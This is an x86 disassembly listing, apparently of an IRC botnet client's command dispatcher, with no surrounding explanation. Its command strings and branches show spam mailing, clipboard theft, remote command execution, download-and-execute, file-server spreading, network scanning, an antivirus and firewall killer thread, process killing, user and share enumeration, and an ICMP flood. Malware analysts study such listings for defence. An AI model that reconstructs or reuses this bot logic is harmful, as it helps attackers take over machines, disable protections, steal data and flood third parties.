		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+var_C8]
		push	eax
		push	edi
		call	dword_433458	; connect
		xor	ebx, ebx
		push	ebx
		mov	esi, 100h
		push	esi
		lea	eax, [ebp+var_15E4]
		push	eax
		push	edi
		call	dword_433414	; recv
		lea	eax, [ebp+var_15E4]
		lea	ecx, [eax+1]


loc_408FA3:				; CODE XREF: sub_4078FA+16AEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_408FA3
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_2178]
		push	eax
		push	edi
		call	dword_433534	; send
		push	ebx
		push	esi
		lea	eax, [ebp+var_15E4]
		push	eax
		push	edi
		call	dword_433414	; recv
		push	edi
		call	dword_4335AC	; closesocket
		call	dword_4335B8	; WSACleanup
		lea	eax, [ebp+var_1340]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jnz	short loc_409015
		push	ebx


loc_408FFA:				; CODE XREF: sub_4078FA+35BCj
					; sub_4078FA+3665j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40900D:				; CODE XREF: sub_4078FA+2DA6j
		call	sub_4045DD
		add	esp, 14h


loc_409015:				; CODE XREF: sub_4078FA+16FDj
					; sub_4078FA+2D8Ej ...
		mov	esi, [ebp+arg_24]


loc_409018:				; CODE XREF: sub_4078FA+35FAj
					; sub_4078FA+361Dj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx
		mov	eax, esi
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40902C:				; CODE XREF: sub_4078FA+1401j
		push	8
		mov	edi, eax
		mov	esi, offset aGetclip ; "getclip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAB3
		push	3
		mov	edi, eax
		mov	esi, offset aGc	; "gc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAB3
		push	9
		mov	edi, eax
		mov	esi, offset aFlusharp ;	"flusharp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA88
		push	5
		mov	edi, eax
		mov	esi, offset aFarp ; "farp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA88
		push	9
		mov	edi, eax
		mov	esi, offset aFlushdns ;	"flushdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA58
		push	5
		mov	edi, eax
		mov	esi, offset aFdns ; "fdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA58
		push	0Ah
		mov	edi, eax
		mov	esi, offset aCurrentip ; "currentip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA1E
		push	4
		mov	edi, eax
		mov	esi, offset aCip ; "cip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA1E
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRloginserver ; "rloginserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B8E5
		push	7
		mov	edi, eax
		mov	esi, offset aRlogin ; "rlogin"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B8E5
		push	0Bh
		mov	edi, eax
		mov	esi, offset aHttpserver	; "httpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B764
		push	5
		mov	edi, eax
		mov	esi, offset aHttp ; "http"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B764
		push	0Bh
		mov	edi, eax
		mov	esi, offset aTftpserver	; "tftpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B60D
		push	5
		mov	edi, eax
		mov	esi, offset aTftp ; "tftp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B60D
		push	8
		mov	edi, eax
		mov	esi, offset aScanall ; "scanall"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2D2
		push	3
		mov	edi, eax
		mov	esi, offset aSa	; "sa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2D2
		mov	ecx, [ebp+ebx+var_A0]
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jz	loc_407B7B
		push	5
		mov	edi, eax
		mov	esi, offset aNick_0 ; "nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2AD
		push	2
		mov	edi, eax
		mov	esi, offset aN	; "n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2AD
		push	5
		mov	edi, eax
		mov	esi, offset aJoin ; "join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B289
		push	2
		mov	edi, eax
		mov	esi, offset aJ	; "j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B289
		push	5
		mov	edi, eax
		mov	esi, offset aPart_0 ; "part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B26F
		push	3
		mov	edi, eax
		mov	esi, offset aPt	; "pt"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B26F
		push	4
		mov	edi, eax
		mov	esi, offset aRaw ; "raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B238
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B238
		push	0Bh
		mov	edi, eax
		mov	esi, offset aKillthread	; "killthread"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B17E
		push	2
		mov	edi, eax
		mov	esi, offset aK	; "k"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B17E
		push	7
		mov	edi, eax
		mov	esi, offset aC_quit ; "c_quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0D0
		push	4
		mov	edi, eax
		mov	esi, offset aC_q ; "c_q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0D0
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_rndnick ; "c_rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B07F
		push	5
		mov	edi, eax
		mov	esi, offset aC_rn ; "c_rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B07F
		push	7
		mov	edi, eax
		mov	esi, offset aPrefix ; "prefix"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B066
		push	3
		mov	edi, eax
		mov	esi, offset aPr	; "pr"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B066
		push	5
		mov	edi, eax
		mov	esi, offset aOpen ; "open"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B030
		push	2
		mov	edi, eax
		mov	esi, offset aO	; "o"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B030
		push	7
		mov	edi, eax
		mov	esi, offset aServer ; "server"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B007
		push	3
		mov	edi, eax
		mov	esi, offset aSe	; "se"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B007
		push	4
		mov	edi, eax
		mov	esi, offset aDns ; "dns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF97
		push	3
		mov	edi, eax
		mov	esi, offset aDn	; "dn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF97
		push	9
		mov	edi, eax
		mov	esi, offset aKillproc ;	"killproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF64
		push	3
		mov	edi, eax
		mov	esi, offset aKp	; "kp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF64
		push	0Ch
		mov	edi, eax
		mov	esi, offset aKilldelproc ; "killdelproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF1C
		push	4
		mov	edi, eax
		mov	esi, offset aKdp ; "kdp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF1C
		push	5
		mov	edi, eax
		mov	esi, offset aKill ; "kill"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEBB
		push	3
		mov	edi, eax
		mov	esi, offset aKi	; "ki"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEBB
		push	7
		mov	edi, eax
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE69
		push	4
		mov	edi, eax
		mov	esi, offset aDel ; "del"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE69
		push	5
		mov	edi, eax
		mov	esi, offset aList_0 ; "list"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE49
		push	3
		mov	edi, eax
		mov	esi, offset aLi	; "li"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE49
		push	8
		mov	edi, eax
		mov	esi, offset aMirccmd ; "mirccmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ADD0
		push	5
		mov	edi, eax
		mov	esi, offset aMirc ; "mirc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ADD0
		push	4
		mov	edi, eax
		mov	esi, offset aCmd ; "cmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AD74
		push	3
		mov	edi, eax
		mov	esi, offset aCm	; "cm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AD74
		push	9
		mov	edi, eax
		mov	esi, offset aReadfile ;	"readfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ACE0
		push	3
		mov	edi, eax
		mov	esi, offset aRf	; "rf"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ACE0
		push	4
		mov	edi, eax
		mov	esi, offset aNet ; "net"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40971F
		xor	eax, eax
		cmp	dword_433600, eax
		jz	short loc_4094A6
		cmp	dword_433628, eax
		jz	short loc_4094A6
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_409714
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_4078FA+1B98j
					; sub_4078FA+1BA0j
		cmp	[ebp+var_14], eax
		jz	loc_40AE14
		mov	eax, [ebp+ebx+var_9C]
		and	[ebp+arg_0], 0
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	short loc_4094CF
		push	eax
		push	[ebp+var_14]
		call	sub_413920
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax


loc_4094CF:				; CODE XREF: sub_4078FA+1BC5j
		mov	edx, [ebp+var_8]
		push	6
		mov	edi, edx
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40953D
		cmp	[ebp+var_10], eax
		jz	short loc_40950B
		push	[ebp+arg_0]
		push	3


loc_4094EC:				; CODE XREF: sub_4078FA+1C58j
					; sub_4078FA+1C6Fj ...
		call	sub_40668A
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_40950B:				; CODE XREF: sub_4078FA+1BEBj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405DC5
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_409533
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409533:				; CODE XREF: sub_4078FA+1C2Dj
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_40953D:				; CODE XREF: sub_4078FA+1BE6j
		push	5
		mov	edi, edx
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409554
		push	[ebp+arg_0]
		push	4
		jmp	short loc_4094EC
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_4078FA+1C51j
		push	6
		mov	edi, edx
		mov	esi, offset aPause ; "pause"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40956B
		push	[ebp+arg_0]
		push	5
		jmp	short loc_4094EC
; ---------------------------------------------------------------------------


loc_40956B:				; CODE XREF: sub_4078FA+1C68j
		push	9
		mov	edi, edx
		mov	esi, offset aContinue ;	"continue"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409585
		push	[ebp+arg_0]
		push	6
		jmp	loc_4094EC
; ---------------------------------------------------------------------------


loc_409585:				; CODE XREF: sub_4078FA+1C7Fj
		push	7
		mov	edi, edx
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40959F
		push	[ebp+arg_0]
		push	1
		jmp	loc_4094EC
; ---------------------------------------------------------------------------


loc_40959F:				; CODE XREF: sub_4078FA+1C99j
		push	6
		mov	edi, edx
		mov	esi, offset aShare ; "share"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409623
		cmp	[ebp+var_10], eax
		jz	short loc_4095EF
		cmp	[ebp+var_448], al
		jz	short loc_4095C4
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_4095D0
; ---------------------------------------------------------------------------


loc_4095C4:				; CODE XREF: sub_4078FA+1CC0j
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
		push	0


loc_4095D0:				; CODE XREF: sub_4078FA+1CC8j
		call	sub_406702
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 18h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_4095EF:				; CODE XREF: sub_4078FA+1CB8j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4067C0
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_409619
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409619:				; CODE XREF: sub_4078FA+1D13j
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409623:				; CODE XREF: sub_4078FA+1CB3j
		push	5
		mov	edi, edx
		mov	esi, offset aUser ; "user"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_4096C5
		cmp	[ebp+var_10], eax
		jz	short loc_409691
		cmp	[ebp+var_448], al
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		jz	short loc_409658
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_409672
; ---------------------------------------------------------------------------


loc_409658:				; CODE XREF: sub_4078FA+1D54j
		mov	ebx, [ebp+ebx+var_98]
		test	ebx, ebx
		jz	short loc_40966B
		push	ebx
		push	[ebp+var_10]
		push	0
		jmp	short loc_409672
; ---------------------------------------------------------------------------


loc_40966B:				; CODE XREF: sub_4078FA+1D67j
		push	0
		push	[ebp+var_10]
		push	2


loc_409672:				; CODE XREF: sub_4078FA+1D5Cj
					; sub_4078FA+1D6Fj
		call	sub_4068DF
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 24h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_409691:				; CODE XREF: sub_4078FA+1D40j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4069A9
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_4096BB
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_4096BB:				; CODE XREF: sub_4078FA+1DB5j
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_4096C5:				; CODE XREF: sub_4078FA+1D37j
		push	5
		mov	edi, edx
		mov	esi, offset aSend ; "send"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40970F
		cmp	[ebp+var_10], eax
		jz	short loc_409708
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4065CE
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_409708:				; CODE XREF: sub_4078FA+1DDEj
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	short loc_409714
; ---------------------------------------------------------------------------


loc_40970F:				; CODE XREF: sub_4078FA+1DD9j
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."


loc_409714:				; CODE XREF: sub_4078FA+1BA7j
					; sub_4078FA+1E13j
		lea	eax, [ebp+var_2E0]
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_40971F:				; CODE XREF: sub_4078FA+1B8Aj
		push	8
		mov	edi, eax
		mov	esi, offset aGethost ; "gethost"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ABFB
		push	3
		mov	edi, eax
		mov	esi, offset aGh	; "gh"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ABFB
		push	0Bh
		mov	edi, eax
		mov	esi, offset aAvfwkiller	; "avfwkiller"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40984D
		mov	edi, [ebp+var_8]
		push	6
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409820
		lea	eax, [ebp+var_2E0]
		push	offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active."
		push	eax
		call	sub_412BB5
		push	[ebp+ebx+var_9C]
		xor	edi, edi
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		push	1
		push	edi
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_411120
		push	edi
		lea	eax, [ebp+var_2E0]
		push	1
		push	eax
		call	sub_410EEA
		add	esp, 34h
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_4074FD
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		imul	esi, 234h
		cmp	eax, edi
		mov	dword_43434C[esi], eax
		jnz	short loc_4097F9
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW	killer th"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_4097F9:				; CODE XREF: sub_4078FA+1EE2j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		cmp	[ebp+var_C], edi
		pop	ecx
		jnz	loc_407B7B
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		jmp	loc_40BC13
; ---------------------------------------------------------------------------


loc_409820:				; CODE XREF: sub_4078FA+1E70j
		mov	edi, [ebp+var_8]
		push	5
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407B7B
		push	[ebp+ebx+var_9C]
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40984D:				; CODE XREF: sub_4078FA+1E5Bj
		mov	ecx, [ebp+ebx+var_9C]
		test	ecx, ecx
		mov	[ebp+var_10], ecx
		jz	loc_407B7B
		push	9
		mov	edi, eax
		mov	esi, offset aAddalias ;	"addalias"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB88
		push	3
		mov	edi, eax
		mov	esi, offset aAa	; "aa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB88
		push	8
		mov	edi, eax
		mov	esi, offset aPrivmsg_0 ; "privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB1D
		push	3
		mov	edi, eax
		mov	esi, offset aPm_0 ; "pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB1D
		push	7
		mov	edi, eax
		mov	esi, offset aAction ; "action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA9A
		push	2
		mov	edi, eax
		mov	esi, offset aA_1 ; "a"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA9A
		push	6
		mov	edi, eax
		mov	esi, offset aCycle ; "cycle"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA34
		push	3
		mov	edi, eax
		mov	esi, offset aCy	; "cy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA34
		push	5
		mov	edi, eax
		mov	esi, offset aMode ; "mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A9FA
		push	2
		mov	edi, eax
		mov	esi, offset aM	; "m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A9FA
		push	6
		mov	edi, eax
		mov	esi, offset aC_raw ; "c_raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A98B
		push	4
		mov	edi, eax
		mov	esi, offset aC_r ; "c_r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A98B
		push	7
		mov	edi, eax
		mov	esi, offset aC_mode ; "c_mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A905
		push	4
		mov	edi, eax
		mov	esi, offset aC_m ; "c_m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A905
		push	7
		mov	edi, eax
		mov	esi, offset aC_nick ; "c_nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A894
		push	4
		mov	edi, eax
		mov	esi, offset aC_n ; "c_n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A894
		push	7
		mov	edi, eax
		mov	esi, offset aC_join ; "c_join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A86C
		push	4
		mov	edi, eax
		mov	esi, offset aC_j ; "c_j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A86C
		push	7
		mov	edi, eax
		mov	esi, offset aC_part ; "c_part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A806
		push	4
		mov	edi, eax
		mov	esi, offset aC_p ; "c_p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A806
		push	7
		mov	edi, eax
		mov	esi, offset aRepeat ; "repeat"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A742
		push	3
		mov	edi, eax
		mov	esi, offset aRp	; "rp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A742
		push	6
		mov	edi, eax
		mov	esi, offset aDelay ; "delay"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A6A5
		push	3
		mov	edi, eax
		mov	esi, offset aDe	; "de"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A6A5
		push	7
		mov	edi, eax
		mov	esi, offset aUpdate ; "update"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A4CE
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A4CE
		push	8
		mov	edi, eax
		mov	esi, offset aExecute ; "execute"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A42B
		push	2
		mov	edi, eax
		mov	esi, offset aE	; "e"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A42B
		push	7
		mov	edi, eax
		mov	esi, offset aRename ; "rename"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A3D3
		push	3
		mov	edi, eax
		mov	esi, offset aMv	; "mv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A3D3
		push	0Ah
		mov	edi, eax
		mov	esi, offset aIcmpflood ; "icmpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A2AF
		push	5
		mov	edi, eax
		mov	esi, offset aIcmp ; "icmp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A2AF
		mov	ecx, [ebp+ebx+var_98]
		test	ecx, ecx
		mov	[ebp+arg_0], ecx
		jz	loc_407B7B
		push	6
		mov	edi, eax
		mov	esi, offset aClone_0 ; "clone"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A1C1
		push	2
		mov	edi, eax
		mov	esi, offset aC	; "c"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A1C1
		push	9
		mov	edi, eax
		mov	esi, offset aDownload ;	"download"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A044
		push	3
		mov	edi, eax
		mov	esi, offset aDl	; "dl"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A044
		push	9
		mov	edi, eax
		mov	esi, offset aRedirect ;	"redirect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409F22
		push	3
		mov	edi, eax
		mov	esi, offset aRd	; "rd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409F22
		push	5
		mov	edi, eax
		mov	esi, offset aScan ; "scan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409E07
		push	3
		mov	edi, eax
		mov	esi, offset aSc	; "sc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409E07
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_privmsg ; "c_privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409D11
		push	5
		mov	edi, eax
		mov	esi, offset aC_pm ; "c_pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409D11
		push	9
		mov	edi, eax
		mov	esi, offset aC_action ;	"c_action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_409BDD
		push	4
		mov	edi, eax
		mov	esi, offset dword_425A64
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_408D7C


loc_409BDD:				; CODE XREF: sub_4078FA+22CDj
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		cmp	byte_434350[eax], 0
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40CFE2
		mov	eax, [ebp+var_20]
		lea	edx, [eax+1]


loc_409C0A:				; CODE XREF: sub_4078FA+2315j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_409C0A
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_409C1B:				; CODE XREF: sub_4078FA+2326j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409C1B
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_409C2C:				; CODE XREF: sub_4078FA+2337j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409C2C
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset dword_425A58
		push	eax
		call	sub_412BB5
		add	esp, 14h
		test	esi, esi
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_10]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_4045DD
		push	edi
		call	sub_412F42
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_434138[eax], 73h
		jnz	loc_40CFE2
		push	esi
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434350
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_409CE7:				; CODE XREF: sub_4078FA+2508j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		jmp	loc_40BBEB
; ---------------------------------------------------------------------------


loc_409D11:				; CODE XREF: sub_4078FA+22A5j
					; sub_4078FA+22B9j
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		cmp	byte_434350[eax], 0
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40CFE2
		mov	eax, [ebp+var_20]
		lea	edx, [eax+1]


